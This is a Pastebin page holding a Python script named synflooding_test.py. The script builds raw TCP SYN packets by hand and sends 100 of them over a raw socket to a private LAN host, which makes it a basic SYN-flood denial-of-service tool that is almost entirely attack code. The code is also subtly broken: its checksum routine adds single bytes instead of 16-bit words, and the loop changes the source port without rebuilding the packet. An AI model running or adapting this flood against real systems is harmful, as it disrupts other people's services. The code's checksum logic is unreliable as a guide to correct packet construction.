Advertisement
Driverfury

synflooding_test.py

Jun 11th, 2018
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.58 KB | None | 0 0
  1. import socket, sys
  2. from struct import *
  3.  
  4. # checksum computation
  5. def checksum(bytes_stream):
  6.     checksum = 0
  7.  
  8.     _sum = 0
  9.     for i in range(0, len(bytes_stream), 2):
  10.         #bit16_int = int.from_bytes(bytes_stream[i] + bytes_stream[i + 1], byteorder='big')
  11.         _sum += bytes_stream[i] + bytes_stream[i + 1]
  12.  
  13.     _sum = (_sum >> 16) + (_sum & 0xffff)
  14.     checksum = (~_sum) & 0xffff
  15.  
  16.     return checksum
  17.  
  18. # checksum function needed for checksum calculation
  19. def checksum_old(msg):
  20.     s = 0
  21.  
  22.     # loop taking 2 chars at a time (16-bit)
  23.     for i in range(0, len(msg), 2):
  24.         w = (ord(str(msg[i])) << 8) + ord(str(msg[i + 1]))
  25.         s += w
  26.  
  27.     # 16-bit padding and adding carry
  28.     s = (s >> 16) + (s & 0xffff)
  29.  
  30.     # complement and mask to 4 byte short
  31.     s = ~s & 0xffff
  32.  
  33.     return s
  34.  
  35. def calculate_packet_total_length():
  36.     return 20 + 20
  37.  
  38. def create_syn_packet(src_ip, dst_ip, src_port, dst_port):
  39.     print("[*] Creating SYN packet...")
  40.     # start constructing the packet
  41.     packet = ''     # final IP packet to send
  42.  
  43.     payload = b''   # this is the message to send but it is void when establishing the connection (when SYN is on)
  44.                     # note that this variable is useless for this program, but I added it to make the code
  45.                     # more understandable
  46.  
  47.     # ip header fields
  48.     version = 4                                     # version: IPv4
  49.     ihl = 5                                         # internet header length: 5 words (20 bytes)
  50.     tos = 0                                         # type of service: irrelevant for our purpose
  51.     tot_len = calculate_packet_total_length()       # total length: IP packet total length
  52.     identification = 54321                          # identification (packet ID): irrelevant for our purpose
  53.     fragment_offset = 0                             # fragment offset (it includes flags): irrelevant for our purpose
  54.     ttl = 255                                       # time-to-live: set to the max (2^8 - 1 = 255)
  55.     protocol = 6#socket.IPPROTO_TCP                 # protocol: tcp protocol
  56.     ip_header_checksum = 0                          # ip header checksum
  57.     source_ip = socket.inet_aton(src_ip)            # source IP address
  58.     dest_ip = socket.inet_aton(dst_ip)              # destination IP address
  59.  
  60.     # version and ihl are 4 bits each, but the minimum we can store is 8-bit (1 byte)
  61.     # so we have to put them together
  62.     version_ihl = (version << 4) + ihl
  63.  
  64.     # temporary ip header to compute checksum
  65.     tmp_ip_header = pack('!BBHHHBBH4s4s',
  66.         version_ihl, tos, tot_len,                  # ip header 1st row (first 32 bits)
  67.         identification, fragment_offset,            # 2nd row
  68.         ttl, protocol, ip_header_checksum,          # 3rd row
  69.         source_ip,                                  # 4th row
  70.         dest_ip)                                    # 5th row
  71.  
  72.     ip_header_checksum = checksum(tmp_ip_header)
  73.  
  74.     # pack the ip header (the ! stands for big-endian notation)
  75.     # ip header in this case is 5 row, 32 bits each => that's why total length is 5 words
  76.     ip_header = pack('!BBHHHBBH4s4s',
  77.         version_ihl, tos, tot_len,                  # ip header 1st row (first 32 bits)
  78.         identification, fragment_offset,            # 2nd row
  79.         ttl, protocol, ip_header_checksum,          # 3rd row
  80.         source_ip,                                  # 4th row
  81.         dest_ip)                                    # 5th row
  82.  
  83.     # tcp header fields
  84.     #source_port = socket.htons(src_port)           # source port
  85.     #dest_port = socket.htons(dst_port)             # destination port
  86.     source_port = src_port
  87.     dest_port = dst_port
  88.     seq = 0                                         # sequence number
  89.     ack_seq = 0                                     # acknowledgement number (ACK)
  90.     data_offset = 5                                 # data offset: where data (payload) starts relative to the TCP header (it starts after the 5 words TCP header)
  91.     reserved_ns = 0                                 # reserved field (3 bits) + NS (1 bit): irrelevant for our purpose
  92.     fin = 0                                         # FIN bit
  93.     syn = 1                                         # SYN bit: we want this to be active
  94.     rst = 0                                         # RST bit
  95.     psh = 0                                         # PSH bit
  96.     ack = 0                                         # ACK bit
  97.     urg = 0                                         # URG bit
  98.     ecu = 0                                         # ECU bit
  99.     cwr = 0                                         # CWR bit
  100.     window_size = socket.htons(5840)                # window size: maximum window size
  101.     tcp_checksum = 0                                # tcp checksum: calculated on pseudo-header + tcp header + payload (checksum is 0 in computation)
  102.     urg_ptr = 0                                     # urgent pointer (only needed when URG bit is on): irrelevant for our purpose
  103.  
  104.     # data offset and (reserved + NS) are 4 bits each, but the minimum we can store is 8-bit (1 byte)
  105.     # so we have to put them together
  106.     data_offset_reserved_ns = (data_offset << 4) + reserved_ns
  107.  
  108.     # put 1-bit flags together
  109.     tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5) + (ecu << 6) + (cwr << 7)
  110.  
  111.     # pack the temporary tcp header (used for checksum computation)
  112.     tmp_tcp_header = pack('!HHLLBBHHH',
  113.         source_port, dest_port,                             # 1st row (each row is 32 bits long)
  114.         seq,                                                # 2nd row
  115.         ack_seq,                                            # 3rd row
  116.         data_offset_reserved_ns, tcp_flags, window_size,    # 4th row
  117.         tcp_checksum, urg_ptr)                              # 5th row
  118.  
  119.     # pseudo header fields
  120.     source_address = socket.inet_aton(src_ip)       # inet_aton() converts an IPv4 address from dotted-quad string format (for example, ‘123.45.67.89’) to 32-bit packed binary format
  121.     dest_address = socket.inet_aton(dst_ip)         # same as aboce
  122.     placeholder = 0                                 # 4 bit filled with zeros (used for padding)
  123.     protocol = socket.IPPROTO_TCP                   # protocol we're using (TCP = 0x0006)
  124.     tcp_length = len(tmp_tcp_header) + len(payload) # tcp segment length
  125.  
  126.     # pack the pseudo-header
  127.     pseudo_header = pack('!4s4sBBH',
  128.         source_address,                             # 1st row
  129.         dest_address,                               # 2nd row
  130.         placeholder, protocol, tcp_length)          # 3rd row
  131.  
  132.     # TCP checksum computation
  133.     tcp_checksum = checksum(pseudo_header + tmp_tcp_header + payload)
  134.  
  135.     # pack the final tcp header
  136.     tcp_header = pack('!HHLLBBHHH',
  137.         source_port, dest_port,                             # 1st row (each row is 32 bits long)
  138.         seq,                                                # 2nd row
  139.         ack_seq,                                            # 3rd row
  140.         data_offset_reserved_ns, tcp_flags, window_size,    # 4th row
  141.         tcp_checksum, urg_ptr)                              # 5th row
  142.  
  143.     tcp_segment = tcp_header + payload
  144.     packet = ip_header + tcp_segment
  145.  
  146.     print("[*] TCP checksum: " + hex(tcp_checksum))
  147.  
  148.     return packet
  149.  
  150. def to_mypcap(packet):
  151.     t = iter(packet.hex())
  152.     return ' '.join(a+b for a,b in zip(t, t))
  153.  
  154. def save_to_file_as_mypcap(mypcap_packet, file_name, format='normal', ethernet_frame=False):
  155.     ethernet_frame_prefix = ''
  156.     if ethernet_frame:
  157.         ethernet_frame_prefix = '9c97264832bc98541b9f5de40800'
  158.     string_to_save = ''
  159.     if format == 'hex_dump':
  160.         tmp_packet = mypcap_packet.replace(' ', '')
  161.         tmp_packet = ethernet_frame_prefix + tmp_packet
  162.         for i in range(0, len(tmp_packet), 32):
  163.             prefix = '{0:04d}'.format(int(i / 32) * 10) + '   '
  164.             m = min(len(tmp_packet) - i, 32)
  165.             content = tmp_packet[i:i+m]
  166.             t = iter(content)
  167.             content = ' '.join(a+b for a,b in zip(t, t)) + '\n'
  168.             string_to_save += prefix + content
  169.     else:
  170.         string_to_save = mypcap_packet
  171.     try:
  172.         f = open(file_name, 'w')
  173.         f.write(string_to_save)
  174.         f.close()
  175.     except:
  176.         return False
  177.     return True
  178.  
  179. def save_to_file_as_binary(binary_packet, file_name):
  180.     try:
  181.         f = open(file_name, 'wb')
  182.         f.write(binary_packet)
  183.         f.close()
  184.     except:
  185.         return False
  186.     return True
  187.  
  188. def main():
  189.     #packet = b'E\x00\x00\xf0\x00\x00@\x00@\x11\xb4\xb0\xc0\xa8\x01\xfd\xc0\xa8\x01\xff\x00\x8a\x00\x8a\x00\xdc7\x1e\x11\nD\x97\xc0\xa8\x01\xfd\x00\x8a\x00\xc6\x00\x00 FEEFEDEIEOEJEDEPEMEPFCCACACACAAA\x00 FHEPFCELEHFCEPFFFACACACACACACABO\x00\xffSMB%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,\x00V\x00\x03\x00\x01\x00\x01\x00\x02\x00=\x00\\MAILSLOT\\BROWSE\x00\x0f6\x80\xfc\n\x00TECHNICOLOR\x00\x00\x00\x00\x00\x04\t\x03\x9a\x04\x00\x0f\x01U\xaaDSL Gateway\x00'
  190.     #mypcap_packet = to_mypcap(packet)
  191.     #save_to_file_as_mypcap(mypcap_packet, 'test_packet_log.mypcap', format='hex_dump')
  192.     #save_to_file_as_binary(packet, 'test_packet_log.bin')
  193.     #return
  194.     src_ip = '192.168.1.74'
  195.     dest_ip = '192.168.1.66'
  196.     src_port = 1234
  197.     dest_port = 5018
  198.  
  199.     # create a raw socket
  200.     s = None
  201.     try:
  202.         s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
  203.     except socket.error:#, msg:
  204.         print("[!] Socket cannot be created. Error: ")# + str(socket.error.strerror))
  205.         #print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
  206.         sys.exit(1)
  207.  
  208.     # tell kernel not to put in headers, since we are providing it
  209.     s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  210.  
  211.     packet = create_syn_packet(src_ip, dest_ip, src_port, dest_port)
  212.     for i in range(0, 100):
  213.         src_port += 1
  214.         num_of_bytes_sent = s.sendto(packet, (dest_ip, dest_port))
  215.         print('[*] Number of bytes sent: {} bytes'.format(num_of_bytes_sent))
  216.  
  217.     mypcap_packet = to_mypcap(packet)
  218.     save_to_file_as_mypcap(mypcap_packet, 'packet_log.mypcap', format='hex_dump', ethernet_frame=True)
  219.     save_to_file_as_binary(packet, 'packet_log.bin')
  220.  
  221. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement